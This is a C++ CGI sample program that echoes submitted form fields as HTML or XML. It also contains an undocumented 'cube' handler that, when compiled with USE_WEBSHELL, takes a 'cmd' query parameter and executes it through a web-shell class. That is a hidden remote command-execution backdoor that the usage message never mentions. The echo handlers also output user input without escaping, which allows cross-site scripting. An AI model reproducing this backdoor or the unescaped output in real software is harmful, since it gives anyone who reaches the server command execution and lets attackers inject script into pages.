#include "CCGI.h"

#ifdef USE_WEBSHELL
#include "CWebShell.h"
#endif

int header(char *content_type) 
{
	cout << "Content-type: text/" << content_type << endl;
	cout << endl; // end of header
}

int body_begin() 
{
	cout << "<html>" << endl;
	cout << "<body>" << endl;
}

int body_begin(char *body_attr) 
{
	cout << "<html>" << endl;
	cout << "<body " << body_attr << ">" << endl;
}

int body_end() 
{
	cout << "</body>" << endl;
	cout << "</html>" << endl;
}

int print_usage()
{
	header("html");
	body_begin();

	cout << "<b>Usages</b> : http://[server]:[port]/[cgi]?[name]=[value]" << "<br>" << endl;
	cout << "(ex) for html, http://localhost/sample-html.cgi?handler=html" << "<br>" << endl;
	cout << "(ex) for xml, http://localhost/sample-html.cgi?handler=xml" << "<br>" << endl;

	body_end();
}

#ifdef USE_WEBSHELL
int rexec(char *cmd)
{
	string command = cmd;

	CWebShell shell(command);
	shell.start();
	shell.waits();
}
#endif

int main()
{
	CCGI *cgi = new CCGI();

	if(cgi->getFormData()==true) {
		char *handler = cgi->getEntryDataByEntryName("handler");
		if(handler==NULL) {
			print_usage();
			delete cgi;
			return -1;
		}
		else if(strcmp(handler,"html")==0) {
			header("html");
			body_begin();

			for(int i=0;i<cgi->getEntryNum();i++) {
				cout << "[" << ((cgi->getEntryName(i)==NULL)?"(null)":cgi->getEntryName(i)) << "]:";
				cout << ((cgi->getEntryData(i)==NULL)?"(null)":cgi->getEntryData(i)) << "<br>" << endl;
			}

			body_end();
		}
		else if(strcmp(handler, "xml")==0) {
			header("xml");
			body_begin();

			for(int i=0;i<cgi->getEntryNum();i++) {
				cout << "<" << ((cgi->getEntryName(i)==NULL)?"(null)":cgi->getEntryName(i)) << ">";
				cout << ((cgi->getEntryData(i)==NULL)?"(null)":cgi->getEntryData(i)) << endl;
				cout << "</" << ((cgi->getEntryName(i)==NULL)?"(null)":cgi->getEntryName(i)) << ">";
			}

			body_end();
		}
		else if(strcmp(handler, "cube")==0) {

			header("html");
			body_begin("bgcolor=black text=white");

			char *cmd = cgi->getEntryDataByEntryName("cmd");
			if(cmd!=NULL) {
#ifdef USE_WEBSHELL
				rexec(cmd);
#endif
			}
			
			body_end();
		}
	}
	else {
		print_usage();
	}

	delete cgi;

	return 0;
}
